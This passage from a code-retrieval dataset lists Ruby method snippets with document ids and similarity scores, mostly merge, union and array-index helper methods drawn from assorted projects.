&block)\n end", "title": "" }, { "docid": "67719689defc25e6c3627f2fec920ee3", "score": "0.59506375", "text": "def merge(other)\n other = other.criteria\n\n fresh.tap do |criteria|\n [\n :profile_value, :failsafe_value, :terminate_after_value, :timeout_value, :offset_value,\n :limit_value, :scroll_args, :source_value, :preference_value, :search_type_value,\n :routing_value, :track_total_hits_value, :explain_value, :http_timeout_value\n ].each do |name|\n criteria.send(:\"#{name}=\", other.send(name)) unless other.send(name).nil?\n end\n\n [\n :sort_values, :includes_values, :preload_values, :eager_load_values, :must_values,\n :must_not_values, :filter_values, :post_must_values, :post_must_not_values,\n :post_filter_values\n ].each do |name|\n criteria.send(:\"#{name}=\", (criteria.send(name) || []) + other.send(name)) if other.send(name)\n end\n\n [:highlight_values, :suggest_values, :custom_value, :aggregation_values].each do |name|\n criteria.send(:\"#{name}=\", (criteria.send(name) || {}).merge(other.send(name))) if other.send(name)\n end\n end\n end", "title": "" }, { "docid": "6e83e159c884b43612b13459c0753acd", "score": "0.5949591", "text": "def merge!(other)\n other.read_present.each do |k, v|\n write(k, v)\n end\n\n self\n end", "title": "" }, { "docid": "78c59cbde0cf31ee3da0f0d29f41484f", "score": "0.59258276", "text": "def merge!(other)\n other.each do |k, v|\n if v.is_a?(Array)\n v.each do |value|\n send(k) << value.dup unless send(\"named_#{k[0..-2]}\", value.name)\n end\n elsif send(k).nil?\n send(\"#{k}=\", v)\n end\n end\n\n self\n end", "title": "" }, { "docid": "d2a7de17c0d0cb272d22a2596582c9db", "score": "0.5923006", "text": "def merge(source); end", "title": "" }, { "docid": "dc173625f5f676b7151efdf848821db4", "score": "0.5917562", "text": "def merge(other, new_name = nil)\n schema_1 = self.ruby_type\n db_type_1 = self.database_type\n schema_2 = other.ruby_type\n db_type_2 = other.database_type\n if schema_1 == schema_2 && db_type_1 == db_type_2\n result = schema_1\n else\n type_1 = schema_1[:type]\n opts_1 = schema_1[:opts] || {}\n type_2 = schema_2[:type]\n opts_2 = schema_2[:opts] || {}\n result_type = type_1\n result_opts = schema_1[:opts] ? schema_1[:opts].dup : {}\n\n # type\n if type_1 != type_2\n result_type = first_common_type(type_1, type_2)\n if result_type.nil?\n raise \"Can't merge #{type_1} (#{name}) with #{type_2} (#{other.name})\"\n end\n end\n\n # text\n if opts_1[:text] != opts_2[:text]\n # This can only be of type String.\n result_opts[:text] = true\n result_opts.delete(:size)\n end\n\n # size\n if !result_opts[:text] && opts_1[:size] != opts_2[:size]\n types = [type_1, type_2].uniq\n if types.length == 1 && types[0] == BigDecimal\n # Two decimals\n if opts_1.has_key?(:size) && opts_2.has_key?(:size)\n s_1 = opts_1[:size]\n s_2 = opts_2[:size]\n result_opts[:size] = [ s_1[0] > s_2[0] ? s_1[0] : s_2[0] ]\n\n if s_1[1] && s_2[1]\n result_opts[:size][1] = s_1[1] > s_2[1] ? s_1[1] : s_2[1]\n else\n result_opts[:size][1] = s_1[1] ? s_1[1] : s_2[1]\n end\n else\n result_opts[:size] = opts_1.has_key?(:size) ? opts_1[:size] : opts_2[:size]\n end\n elsif types.include?(String) && types.include?(BigDecimal)\n # Add one to the precision of the BigDecimal (for the dot)\n if opts_1.has_key?(:size) && opts_2.has_key?(:size)\n s_1 = opts_1[:size].is_a?(Array) ? opts_1[:size][0] + 1 : opts_1[:size]\n s_2 = opts_2[:size].is_a?(Array) ? opts_2[:size][0] + 1 : opts_2[:size]\n result_opts[:size] = s_1 > s_2 ? s_1 : s_2\n elsif opts_1.has_key?(:size)\n result_opts[:size] = opts_1[:size].is_a?(Array) ? opts_1[:size][0] + 1 : opts_1[:size]\n elsif opts_2.has_key?(:size)\n result_opts[:size] = opts_2[:size].is_a?(Array) ? opts_2[:size][0] + 1 : opts_2[:size]\n end\n else\n # Treat as two strings\n if opts_1.has_key?(:size) && opts_2.has_key?(:size)\n result_opts[:size] = opts_1[:size] > opts_2[:size] ? opts_1[:size] : opts_2[:size]\n elsif opts_1.has_key?(:size)\n result_opts[:size] = opts_1[:size]\n else\n result_opts[:size] = opts_2[:size]\n end\n end\n end\n\n # fixed\n if opts_1[:fixed] != opts_2[:fixed]\n # This can only be of type String.\n result_opts[:fixed] = true\n end\n\n # collation\n if opts_1[:collate] != opts_2[:collate] || db_type_1 != db_type_2\n result_opts.delete(:collate)\n end\n\n result = {:type => result_type}\n result[:opts] = result_opts unless result_opts.empty?\n end\n\n if new_name\n name = new_name.to_sym\n else\n name = self.name == other.name ? self.name : :\"#{self.name}_#{other.name}\"\n end\n MergeField.new(name, result, db_type_1 == db_type_2 ? db_type_1 : nil)\n end", "title": "" }, { "docid": "59975f4abeadb4c25643dbe7bda49649", "score": "0.59098494", "text": "def merge(other)\n result = super\n\n result.sources = other.sources + self.sources\n result\n end", "title": "" }, { "docid": "f2c41feacf6ca4e9781944ba55300324", "score": "0.58971965", "text": "def merge!( other )\n @map.merge!( other.map )\n end", "title": "" }, { "docid": "97983460006c874903a5c1fc4dde3626", "score": "0.58862317", "text": "def union(other)\n self.class.from_a(to_a | other.to_a)\n end", "title": "" }, { "docid": "8c4c4840f2ad18e9756f41954b10344d", "score": "0.5881615", "text": "def merge!(other_hash); end", "title": "" }, { "docid": "a048566349759f4425484b6dfd8fe53b", "score": "0.5876404", "text": "def union(other)\n self.class.from_a(to_a | other.to_a)\n end", "title": "" }, { "docid": "4b4759a1789c3df40b71c0d0c7e2b311", "score": "0.58567834", "text": "def union(other)\n new(to_ary | other.to_ary)\n end", "title": "" }, { "docid": "a93692a2bdd1059b6a1e28de239cca8c", "score": "0.58496517", "text": "def concat(other)\n other.each do |obj|\n add obj\n end\n self\n end", "title": "" }, { "docid": "4d5469f65adc0966de41b6d0af87c2ac", "score": "0.5835897", "text": "def merge! other_hash\n @table.merge!(nested_class, (other_hash if other_hash.is_a? Hash) || other_hash.to_h)\n end", "title": "" }, { "docid": "139ca51b75ac266eff9fae5eb22a2395", "score": "0.5830562", "text": "def merge(other)\n self.eval do\n other.eval do\n binding\n end\n end\n end", "title": "" }, { "docid": "ce8c92dd26549b5288ae2ae30f0e2073", "score": "0.58057284", "text": "def merge(other)\n @options[:last_received_time] ||= other.last_received_time\n @options[:idle] ||= other.idle\n @options[:next_directive] ||= other.next_directive\n @options[:next_method] ||= other.next_method\n @options[:data] ||= other.data\n @options[:parse_next] ||= other.parse_next\n end", "title": "" }, { "docid": "d2f8136efdb67118b4aa53654324b51e", "score": "0.58000267", "text": "def merge!(other)\n @options[:last_received_time] = other.last_received_time\n @options[:idle] = other.idle\n @options[:next_directive] = other.next_directive\n @options[:next_method] = other.next_method\n @options[:data] = other.data\n @options[:parse_next] = other.parse_next\n end", "title": "" }, { "docid": "dbd73ece696a69db37be585b0bb312ef", "score": "0.5783543", "text": "def merge(other)\n other.items.each do |item, record|\n @items[item] ||= {observed: [], removed: []}\n @items[item][:observed] |= record[:observed]\n @items[item][:removed] |= record[:removed]\n @items[item][:observed] -= @items[item][:removed]\n end\n end", "title": "" }, { "docid": "08828f10b1fd0e79ba2dada8e9e6170f", "score": "0.5780582", "text": "def merge(other_image)\n raise 'an image class must be supplied' unless other_image.is_a? Image\n raise 'cannot merge if the user is different' unless other_image.user == user\n raise 'cannot merge if the account_id is different' unless other_image.account_id == account_id\n raise 'cannot merge if the state is different' unless other_image.state == state\n\n new_image = Image.new\n new_image.user = @user\n new_image.entries = entries + other_image.entries\n new_image\n end", "title": "" }, { "docid": "07cfaa7f948284e2050d13f9b2b929a2", "score": "0.57748985", "text": "def coerce(other)\n [self.class.new(other), self]\n end", "title": "" }, { "docid": "13337ff322b6e0d7b893a576a306d614", "score": "0.57680494", "text": "def merge other_feed\n feed = self.clone\n\n feed.merge! other_feed\n\n feed\n end", "title": "" }, { "docid": "eb06337f90b6921c960d2202eee215c8", "score": "0.57588196", "text": "def _merge_hash(other)\n clazz = _class_to_sym(other.values.first)\n @known_classes[clazz][:pipeline_group].merge!(other)\n end", "title": "" }, { "docid": "dbafa806502a7a4613b8ab544ffb5b6e", "score": "0.57500684", "text": "def _deep_merge(hash, other_hash); end", "title": "" }, { "docid": "5e85e0397020c1941fa9250b358f303a", "score": "0.574872", "text": "def merge!(other)\n operands[0] += other.operands[0]\n self\n end", "title": "" }, { "docid": "0439650afd8652afb1e61cf45e826c19", "score": "0.57486886", "text": "def merge!(other)\n update_attributes items: items + other.items\n other.destroy! and self\n end", "title": "" }, { "docid": "3a883367d53c682c0973ad896940eab7", "score": "0.57450014", "text": "def merge!(other)\n o = dup\n other.each do |k,v|\n o.store!(k,v)\n end\n o\n end", "title": "" }, { "docid": "01e7091f284291936d2d1be2b5c7eaa5", "score": "0.57372195", "text": "def union(other)\n other_aliases = other.to_hash.dup\n inverted = other_aliases.invert\n\n each do |old_attribute, new_attribute|\n old_attribute = inverted.fetch(old_attribute, old_attribute)\n\n if old_attribute.eql?(new_attribute)\n other_aliases.delete(new_attribute)\n else\n other_aliases[old_attribute] = new_attribute\n end\n end\n\n self.class.new(other_aliases)\n end", "title": "" }, { "docid": "58919c36a1d4f371271cf810191d106d", "score": "0.5734296", "text": "def merge!(other)\n\t\tALL.each do |key|\n\t\t\tincrement(key, other.get(key))\n\t\tend\n\t\tself\n\tend", "title": "" }, { "docid": "03a3d038b4f8e0b714da256a94bbebb6", "score": "0.5716205", "text": "def union(other)\n if self.serializer != other.serializer\n other = other.reserialize(serializer)\n end\n\n new_jrdd = jrdd.union(other.jrdd)\n RDD.new(new_jrdd, context, serializer, deserializer)\n end", "title": "" }, { "docid": "f65f83b7951ce00e4bc644c153f6ecce", "score": "0.57138073", "text": "def merge *others\n others.inject self.clone do |a,b|\n a.insert b\n end\n end", "title": "" }, { "docid": "14ffd7a5cf93c1b2d5c4eca04a121592", "score": "0.5713241", "text": "def link_type(hash1, hash2)\n return hash1 if hash2.nil?\n return hash2 if hash1.nil?\n\n current = hash1\n\n while current.has_key?('.subtype')\n current = current['.subtype']\n end\n current['.subtype'] = hash2\n return hash1\nend", "title": "" }, { "docid": "14ffd7a5cf93c1b2d5c4eca04a121592", "score": "0.57132363", "text": "def link_type(hash1, hash2)\n return hash1 if hash2.nil?\n return hash2 if hash1.nil?\n\n current = hash1\n\n while current.has_key?('.subtype')\n current = current['.subtype']\n end\n current['.subtype'] = hash2\n return hash1\nend", "title": "" }, { "docid": "7bb0ee812939048cfd7214f22eb4a4a2", "score": "0.57063246", "text": "def merge(other)\n # By default just take the other change if applicable\n other.instance_of?(self.class) && other.key == key ? other : self\n end", "title": "" }, { "docid": "b6f8e9a8f2fed5507eda9f88b6de2c18", "score": "0.57033217", "text": "def merge(other)\n case other\n when Enumerable then other.each{ |item| push(item) }\n else push(other)\n end\n self\n end", "title": "" }, { "docid": "0cc9b8bb2db81d1974e3c9ed96a65302", "score": "0.570133", "text": "def union(other)\n set_operation(other, :+,\n distinct: true,\n add_boundaries: true)\n end", "title": "" }, { "docid": "b6795a13ad8182eef9a78a69b51270f2", "score": "0.5694858", "text": "def deep_merge!(other)\n merger = proc do |key, v1, v2|\n Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2\n end\n self.merge! other, &merger\n end", "title": "" }, { "docid": "a85e331d19839fadc70cce2778b69fc3", "score": "0.56894076", "text": "def merge(ar_1, ar_2)\n result = {}\n ar_1.each_with_object(result) { |el, result| result[el] = el}\n ar_2.each_with_object(result) { |el, result| result[el] = el}\n result.values\nend", "title": "" }, { "docid": "34c7837acf5d0ad8f3cb4f7d6b50b154", "score": "0.5679826", "text": "def merge(other_set)\n requires_set(other_set, __method__)\n MySet.new(members + other_set.members)\n end", "title": "" }, { "docid": "70f6facb8406cd5edf37b48203b7eebe", "score": "0.5678536", "text": "def coerce(other)\n\t\t[self, other]\n\tend", "title": "" }, { "docid": "11eb5eab40bd83b00116b1c42f1a2977", "score": "0.5672502", "text": "def merge_hash!(hash)\n merge!(self.class.from_hash(hash))\n end", "title": "" }, { "docid": "d185a355c8b5f329306ebdcf50b88812", "score": "0.56673026", "text": "def merge(other)\n @actions += other.actions\n @errors += other.errors\n @warnings += other.warnings\n @notices += other.notices\n end", "title": "" } ]
0c103cdf983da2f0402c86057d18f8a5
Get the goal data index (if array like items / speak_to return the index of the goal in the array info from data/quest data)
[ { "docid": "e8152672c788dcbd33f38df33e3e5776", "score": "0.711104", "text": "def get_goal_data_index(quest_id, goal_index)\n if (quest = @active_quests.fetch(quest_id, nil)).nil?\n if (quest = @finished_quests.fetch(quest_id, nil)).nil?\n return 0 if (quest = @failed_quests.fetch(quest_id, nil)).nil?\n end\n end\n goal_sym = quest[:order][goal_index]\n cnt = 0\n quest[:order].each_with_index do |sym, i|\n break if i >= goal_index\n cnt += 1 if sym == goal_sym\n end\n return cnt\n end", "title": "" } ]
[ { "docid": "e739b421332fffbe72afcb132ee1e0e2", "score": "0.6581799", "text": "def index\n @data[:index]\n end", "title": "" }, { "docid": "62b024386d55cb7c3c2a3c223398f4b4", "score": "0.64333653", "text": "def play_index\n return first_or_map :idx\n end", "title": "" }, { "docid": "103746ac97f518521dd67bd46d21aac9", "score": "0.63540864", "text": "def donut_goal_index\n if goal != nil\n goal_index = 0\n user.goals.each.with_index do |goal_find , index| \n goal_index = index\n break if goal_find == goal \n end\n goal_index\n else\n goal_index = -1\n end\n #binding.pry\n end", "title": "" }, { "docid": "8dd9d8ba37cc93ab517a7d46137fccda", "score": "0.6047584", "text": "def get_index(arg_ix)\n ix = @ARGV[arg_ix]\n if ix and is_int?(ix) and @items.at(ix.to_i)\n return ix.to_i\n else \n puts \"Invalid item index: #{ix}\"\n return 0\n end\n end", "title": "" }, { "docid": "205869f7b6c9e00609cb27568e6bebb0", "score": "0.60365885", "text": "def current_index\n @players[current_player][0]\n end", "title": "" }, { "docid": "35cfa1119266b6ae13cdb54b0793e333", "score": "0.5996268", "text": "def get_item_index(item)\n @items.index item\n end", "title": "" }, { "docid": "e5b76fa10b9152addd5753c0697e9ae7", "score": "0.5937066", "text": "def skill\n if @data == nil\n return nil\n else\n return @data[self.index]\n end\n end", "title": "" }, { "docid": "ec94b0fab2088f20b75ce269b00d9b7c", "score": "0.5898572", "text": "def index_of item\n max = self.get_length\n #puts \"length #{max} #{max.class}\"\n counter = 1\n while( counter <= max )\n if( get(counter) == item)\n return counter\n end\n counter = counter + 1\n end\n return nil\n end", "title": "" }, { "docid": "d401e754b2d90f4ffed0a70684672c10", "score": "0.58496773", "text": "def intent(index=0)\n self.raw_data[\"outcomes\"][index][\"intent\"]\n end", "title": "" }, { "docid": "df383d0b57eb6ab6f07599021405e6fe", "score": "0.58381605", "text": "def index_of( item )\n max = self.get_length\n #puts \"length #{max} #{max.class}\"\n counter = 0\n while( counter < max )\n if( get(counter) == item)\n return counter\n end\n counter = counter + 1\n end\n return nil\n end", "title": "" }, { "docid": "236bc868a90c1bee7e85d699417603f3", "score": "0.5822443", "text": "def index(key)\n return key if key.is_a?(Integer)\n @array.each_with_index do |data, i|\n return i if data[0] == key\n end\n\n nil\n end", "title": "" }, { "docid": "30f027b8eb1fb8822e28ab2ba263eb1c", "score": "0.5804965", "text": "def get_array_position(suggestion, meeting)\n index = 0;\n meeting.suggestions.sort_by{|a| [a.date, a.start, a.end]}.each do |sugg|\n if sugg.date == suggestion.date && sugg.start == suggestion.start && sugg.end == suggestion.end\n return index\n end\n index = index + 1\n end\n end", "title": "" }, { "docid": "81b5b0abadaa671323ecbac0243ce7f6", "score": "0.57808214", "text": "def get_item_index(item)\n \t@items.index item\n end", "title": "" }, { "docid": "fccceb768c9f0817916b4aab6ba50036", "score": "0.5777158", "text": "def index data\r\n current = @first\r\n i = 0\r\n while !current.nil?\r\n return i if current.data == data\r\n current = current.next\r\n i += 1\r\n end\r\n nil\r\n end", "title": "" }, { "docid": "9b5ca9ae780444effa0b1f81204fc03c", "score": "0.57768786", "text": "def get_goal_type(quest_id, goal_index)\n if (quest = @active_quests.fetch(quest_id, nil)).nil?\n if (quest = @finished_quests.fetch(quest_id, nil)).nil?\n return 0 if (quest = @failed_quests.fetch(quest_id, nil)).nil?\n end\n end\n return quest[:order][goal_index]\n end", "title": "" }, { "docid": "48084c77991d33be0210c3fbd1033dd5", "score": "0.5774357", "text": "def pos()\n @index\n end", "title": "" }, { "docid": "48084c77991d33be0210c3fbd1033dd5", "score": "0.5774357", "text": "def pos()\n @index\n end", "title": "" }, { "docid": "0a85fae2575c0ba24f0b3e46fe259a46", "score": "0.57502276", "text": "def item(item_index)\n @data[item_index]\n end", "title": "" }, { "docid": "c64d3a407678c917e375c7361d4718e3", "score": "0.57444817", "text": "def item; @data[@index]; end", "title": "" }, { "docid": "8a42f7496ffa7054506a3cad7a30e526", "score": "0.57359844", "text": "def index(payload)\n item = @first_item\n i = 0\n while item\n if item.payload == payload\n return i\n end\n item = item.next_list_item\n i += 1\n end\n end", "title": "" }, { "docid": "c448da22fb25a051dfbb540b13231e0f", "score": "0.57286257", "text": "def determine_index\n map_id = $game_map.map_id\n @save_index = 0\n for i in 0..@data.size-1\n @save_index = i if @data[i].map_id==map_id\n end\n \n end", "title": "" }, { "docid": "0b752e2af9dc1a4fac3d8210d02db5ea", "score": "0.57192856", "text": "def index(target)\n \n\n #if item found, return index\n #if not found, return nil\n end", "title": "" }, { "docid": "98df3be4a0f5f5a6abc4a64f51f09bd5", "score": "0.5718615", "text": "def item(index = self.index)\n @data[index]\n end", "title": "" }, { "docid": "d44475c67853a65917f0c20ea807b473", "score": "0.5668439", "text": "def item\n @data[@index]\n end", "title": "" }, { "docid": "0678a6d2676d0f7618b6f82ca33c115a", "score": "0.5667607", "text": "def get_skill_position(skill)\n return false if egg?\n @skills_set.each_with_index do |sk, i|\n return i if sk && sk.id == skill.id\n end\n return 0\n end", "title": "" }, { "docid": "87ac91958055467d19f63c6ac13bee6c", "score": "0.565717", "text": "def indexOf(target)\n index = 0\n item = @first_item\n return nil if @first_item.nil?\n until item.nil?\n if target == item.payload\n return index\n else\n item = item.next_list_item\n index += 1\n end\n end\n end", "title": "" }, { "docid": "3f7af82da2c0127a2a23d599dc60676e", "score": "0.5630856", "text": "def indexOf(payload)\n item = @first_item\n index = 0\n until item.nil?\n return index if payload == item.payload\n item = item.next_list_item\n index += 1\n end\n nil\n end", "title": "" }, { "docid": "1e8801c038ef287eb7689aac8880e109", "score": "0.56240577", "text": "def get_hand_index(hand)\r\n return @hands.index(hand)\r\n end", "title": "" }, { "docid": "215c8b416cfecf416aa7e09b41c408f4", "score": "0.56196624", "text": "def index(target)\n self.each_with_index do |item, i|\n return i if target == item\n end\n\n return nil\n end", "title": "" }, { "docid": "20e1ea79012a8747c4ccd833a6296658", "score": "0.561228", "text": "def get_index(array)\r\n\r\n\treturn array[0]\r\n\r\nend", "title": "" }, { "docid": "f39bd00f4f602387ee56d2a0aaf66492", "score": "0.55892956", "text": "def index\n index_of_item = nil\n\n attributes.each_with_index do |attribute, position|\n if attribute[:id] == id\n index_of_item = position\n break\n end\n end\n\n index_of_item\n end", "title": "" }, { "docid": "8d4c5819dde7a278463e4d3bd6e0ce49", "score": "0.55874926", "text": "def index_of_first_awesome_element\n collection.find_index{|x| x[:awesome]}\n end", "title": "" }, { "docid": "5ce2c023997e80efa4319810587ed42f", "score": "0.55863506", "text": "def getIndex\n\t return @index\n end", "title": "" }, { "docid": "7b17f766b0bd49a7b889a050d6587101", "score": "0.5549668", "text": "def skill; $data_skills[(skill? ? current_action.item : last_skill).id]; end", "title": "" }, { "docid": "ff0897df10f23979018a25ee011ed1fb", "score": "0.5543858", "text": "def face_index\r\n case mood\r\n when /Neutral/i\r\n 0\r\n when /Empty eyes/i\r\n 1\r\n #when ???\r\n # 2\r\n when /Ahegao/i\r\n 3\r\n else\r\n 0\r\n end\r\n end", "title": "" }, { "docid": "05bb8796dcf1bb61fe36276b7b0c67e2", "score": "0.5525044", "text": "def index\n self[:index]\n end", "title": "" }, { "docid": "a5fd6f5853906ed766f2a1fc92b2e1a2", "score": "0.5524016", "text": "def indexOf(payload)\n item = @first_item\n i = 0\n while item\n if item.payload == payload\n return i\n end\n item = item.next_list_item\n i += 1\n end\n end", "title": "" }, { "docid": "5235c3a459c26b11021e4e3bd0199faf", "score": "0.5515796", "text": "def to_index(arg)\n arg\n end", "title": "" }, { "docid": "14cad33d7a49f3f97e8d18499d725b84", "score": "0.5511798", "text": "def idx\n @ob.get_idx\n end", "title": "" }, { "docid": "cb8498e696f5dca545aa70cac44efdbf", "score": "0.5510887", "text": "def get_index(map_id)\n @maplocations.each do |index,item|\n return index if item.map_id == map_id\n end\n return nil\n end", "title": "" }, { "docid": "51296966147dca9cd22f594b4a2ffba7", "score": "0.55074215", "text": "def get_random_index(freq_array,speech_part)\n\t\t\tindex = ByFrequencyChoser.choose_random_index(freq_array)\n# \t\t\tputs \"random #{speech_part}: #{index}\"\n\t\t\tindex\n\t\tend", "title": "" }, { "docid": "eb1dd4177bdfbbc0082c431d22fc1f06", "score": "0.55047953", "text": "def find_index_at_value(item)\n for hash in WAREHOUSE\n if hash.has_value?(item)\n return WAREHOUSE.index(hash)\n end\n end\nend", "title": "" }, { "docid": "ac79aa94c397b4b79fd481ca2517bea1", "score": "0.55035144", "text": "def myid\n \"Goal#{(@@goals.index(self) || -1000) + 1}\"\n end", "title": "" }, { "docid": "05f2b48a3f656ffa51cf04c982251b39", "score": "0.54969746", "text": "def which_item_response(item_key)\n all_item_responses.find_index(item_key)\n end", "title": "" }, { "docid": "d2e6c1f5d778e20abc9da8d359b513c5", "score": "0.5495552", "text": "def get_index(arr_teams, target_team)\n arr_teams.index { |x| x[:title] == target_team }\n end", "title": "" }, { "docid": "f71136fd63752f2fb9d4a32ea437e901", "score": "0.54857135", "text": "def what_is_index(array, arg)\n array.each_with_index { |xarg, index|\n if arg == xarg\n return index\n end\n }\n return -1\nend", "title": "" }, { "docid": "c2453ed8bd52dde7dfad6c6eedcc2638", "score": "0.54455507", "text": "def get_data_index_by_name(data, name)\n if data == nil or name == nil or name == \"\"\n return -1\n end\n index = -1\n if name.downcase == \"date\"\n return 0\n elsif name.downcase == \"open\"\n return 1\n elsif name.downcase == \"high\"\n return 2\n elsif name.downcase == \"low\"\n return 3\n elsif name.downcase == \"close\"\n return 4\n end\n puts \"#{data.class}\"\n data[0][:analysis_name].each_with_index do |a, i|\n index = a.downcase == name.downcase ? i + 5 : index\n end\n return index\nend", "title": "" }, { "docid": "cea33ca75edbec82b900ef6a65a4f88e", "score": "0.54392296", "text": "def get(index)\n @array[index] || -1\n end", "title": "" }, { "docid": "f2cf42863d8acfde9d14ed6daee24d11", "score": "0.5411696", "text": "def input_index(input)\n input_integer(input) - 1 #convert player #move input to array index\n end", "title": "" }, { "docid": "79015ac2e89e13896fcdf6bce2f2a37e", "score": "0.5397999", "text": "def index_of_final_item\n raw.limit.positive? ? raw.offset + raw.limit - 1 : 0\n end", "title": "" }, { "docid": "eaf5654fa34aaf065f1d1a7af0aaa592", "score": "0.53973895", "text": "def data(index)\n @data[index]\n end", "title": "" }, { "docid": "5f93dfa02f30f6ad64ee56c981349401", "score": "0.53933436", "text": "def selected_skill\n return (self.index < 0 ? nil : @data[self.index])\n end", "title": "" }, { "docid": "5f93dfa02f30f6ad64ee56c981349401", "score": "0.53933436", "text": "def selected_skill\n return (self.index < 0 ? nil : @data[self.index])\n end", "title": "" }, { "docid": "5f93dfa02f30f6ad64ee56c981349401", "score": "0.53933436", "text": "def selected_skill\n return (self.index < 0 ? nil : @data[self.index])\n end", "title": "" }, { "docid": "3abb97fa1f58318162d6c6c63406065e", "score": "0.5393254", "text": "def conversation_index\n return @conversation_index\n end", "title": "" }, { "docid": "4d6d0917e9dfe968bd62e6dfe4945054", "score": "0.5392341", "text": "def to_i\n @index\n end", "title": "" }, { "docid": "855b9f1f4ecf50a24437a94725066e0f", "score": "0.5391564", "text": "def input_to_index(piece)\n index = piece.to_i\n index = index - 1\n return index\nend", "title": "" }, { "docid": "3c24c6cffcb7b8a7fc775b95b08fcb56", "score": "0.5388775", "text": "def get_index(value)\n @choices.each_with_index do |choice, index|\n if(choice[:value] == value)\n return index\n end\n end\n end", "title": "" }, { "docid": "f699c6bfb51a2c5925ad054945680490", "score": "0.53880763", "text": "def step_index\n step_with_index.last\n end", "title": "" }, { "docid": "f699c6bfb51a2c5925ad054945680490", "score": "0.53880763", "text": "def step_index\n step_with_index.last\n end", "title": "" }, { "docid": "386e0b3fefc0359467bf55523b8f39be", "score": "0.5383384", "text": "def data(index); @data[index]; end", "title": "" }, { "docid": "8854f888c7a0e7c7de60a7b565b35656", "score": "0.53674334", "text": "def index(item)\n index = 0\n n = @head\n while n != nil\n return index if n.data == item\n n = n.next\n index += 1\n end\n return nil\n end", "title": "" }, { "docid": "cb3cab57f2a3f0c47526e85172509d90", "score": "0.53665096", "text": "def target_index\n @target\n end", "title": "" }, { "docid": "cdf6ea27bb8156f669d61cbd429a4ddb", "score": "0.5363148", "text": "def item_index(item,array)\n index = 0\n while index < array.length do \n if item[:item] == array[index][:item]\n result = index\n break\n end\n index += 1 \n end\n result\n end", "title": "" }, { "docid": "2d257cf5b49ea54e587b92c415c8d58d", "score": "0.5356471", "text": "def index(name)\n case name\n when Integer\n name\n when nil, EMPTY_STRING\n 0\n else\n link[name].index\n end\n end", "title": "" }, { "docid": "15d7f8bfb4f6a49707d9ad1602afe055", "score": "0.53557396", "text": "def index\n @data.index\n end", "title": "" }, { "docid": "52d9b12629ab255c081e441f49dab290", "score": "0.53485173", "text": "def p_i(player)\n player_order.find_index(player)\n end", "title": "" }, { "docid": "f2ce54a448f83895b1352c131f0aceb1", "score": "0.5348345", "text": "def index\n if self.visible\n return @index\n else\n return 0\n end\n end", "title": "" }, { "docid": "f5653a1e30a1b5b849e398000216a21b", "score": "0.5347669", "text": "def workitem_index(workitem)\n\n Ruote.extract_child_id(workitem['fei'])\n end", "title": "" }, { "docid": "aaa748830cb9632a353b02e04b795522", "score": "0.53464544", "text": "def index_from_pos pos\n cat_from_int @array[pos]\n end", "title": "" }, { "docid": "aaa748830cb9632a353b02e04b795522", "score": "0.53464544", "text": "def index_from_pos pos\n cat_from_int @array[pos]\n end", "title": "" }, { "docid": "06703ecfd1e28fa00fb2636cd5ce9558", "score": "0.53347844", "text": "def item\n @data && index >= 0 ? @data[index] : nil\n end", "title": "" }, { "docid": "06703ecfd1e28fa00fb2636cd5ce9558", "score": "0.53347844", "text": "def item\n @data && index >= 0 ? @data[index] : nil\n end", "title": "" }, { "docid": "9cd2a4d0b145617b9cbc966051b5ac15", "score": "0.5332824", "text": "def calc_base_index\n return -1 if @selected_pokemons.size < 5\n if @index >= 2\n return @index - 2\n elsif @index < 2\n return -1\n end\n end", "title": "" }, { "docid": "7c4818b46d1a737e17960c4d3754a7ae", "score": "0.53327304", "text": "def index(value)\n # -1 means 'not found' in WxWidgets\n if value.kind_of?(String) && ( i = find_string(value, true) ) && i > -1\n return i\n end\n indices = (0 ... get_count).to_a\n return indices.find { | i | get_item_data(i) == value } \n end", "title": "" }, { "docid": "fc1a84cdc94dd7c7ea8684cf3de639ad", "score": "0.5330369", "text": "def get_item(item_index)\n @array[item_index]\n end", "title": "" }, { "docid": "8cc6d9d248c3276f4343b36915133bbf", "score": "0.53290564", "text": "def index(entry)\n @index[entry]\n end", "title": "" }, { "docid": "ba4792ca16007ee94d621a5cbca2587a", "score": "0.5319895", "text": "def data\n actor = @act_list[self.index]\n if actor.is_a?(Array)\n return actor[0]\n else\n return actor\n end\n end", "title": "" }, { "docid": "8bc813533b3fc3e27d8be1a59c065150", "score": "0.53171086", "text": "def current_idx\n return @idx >= 0 ? @idx : nil\n end", "title": "" }, { "docid": "8bc813533b3fc3e27d8be1a59c065150", "score": "0.53171086", "text": "def current_idx\n return @idx >= 0 ? @idx : nil\n end", "title": "" }, { "docid": "322274633d9589a86f8b6b5d26cea1cc", "score": "0.531619", "text": "def get_location_index\n\t\t#get index of the figure\n\t\tif (@location[0] >= 0 && @location[0] <= 7) &&\n\t\t\t(@location[1] >= 0 && @location[1] <= 7)\n\t\t\tcase @location[0]\n\t\t\t\twhen 0\n\t\t\t\t\t@location_index = @location[1]\n\t\t\t\twhen 1\n\t\t\t\t\t@location_index = 8 + @location[1]\n\t\t\t\twhen 2\n\t\t\t\t\t@location_index = 16 + @location[1]\n\t\t\t\twhen 3\n\t\t\t\t\t@location_index = 24 + @location[1]\n\t\t\t\twhen 4\n\t\t\t\t\t@location_index = 32 + @location[1]\n\t\t\t\twhen 5\n\t\t\t\t\t@location_index = 40 + @location[1]\n\t\t\t\twhen 6\n\t\t\t\t\t@location_index = 48 + @location[1]\n\t\t\t\twhen 7\n\t\t\t\t\t@location_index = 56 + @location[1]\n\t\t\tend\n\t\telse\n\t\t\treturn \"Wrong location\"\n\t\tend\n\t\treturn @location_index\n\tend", "title": "" }, { "docid": "80b3ce862427ea3904329572abad7d8a", "score": "0.5309017", "text": "def get_index(options)\n begin\n index = Integer(gets.chomp)\n rescue ArgumentError, TypeError\n Helpers.print_error(:type)\n get_index(options)\n end\n end", "title": "" }, { "docid": "126aed6e26fcba47331f9589ed6dae7d", "score": "0.53086865", "text": "def find_bay_index(bay)\n WAREHOUSE.index { |location| location[:bay] == bay }\nend", "title": "" }, { "docid": "81fdf9416098b6a48ebc8e622df963e0", "score": "0.53075", "text": "def get_position_ind(pos, pos_needed)\n POS_GROUPS[pos].each do |posind|\n if pos_needed[posind] == \"1\"\n return posind\n end\n end\n return nil\n end", "title": "" }, { "docid": "ee340f55068e58a118916d14b9a19876", "score": "0.530112", "text": "def data(index)\n @data[index];\n end", "title": "" }, { "docid": "f5fc4ce77eb245dfee72427c79342d66", "score": "0.52989084", "text": "def introTutorial(v, arr)\n arr.index(v)\nend", "title": "" }, { "docid": 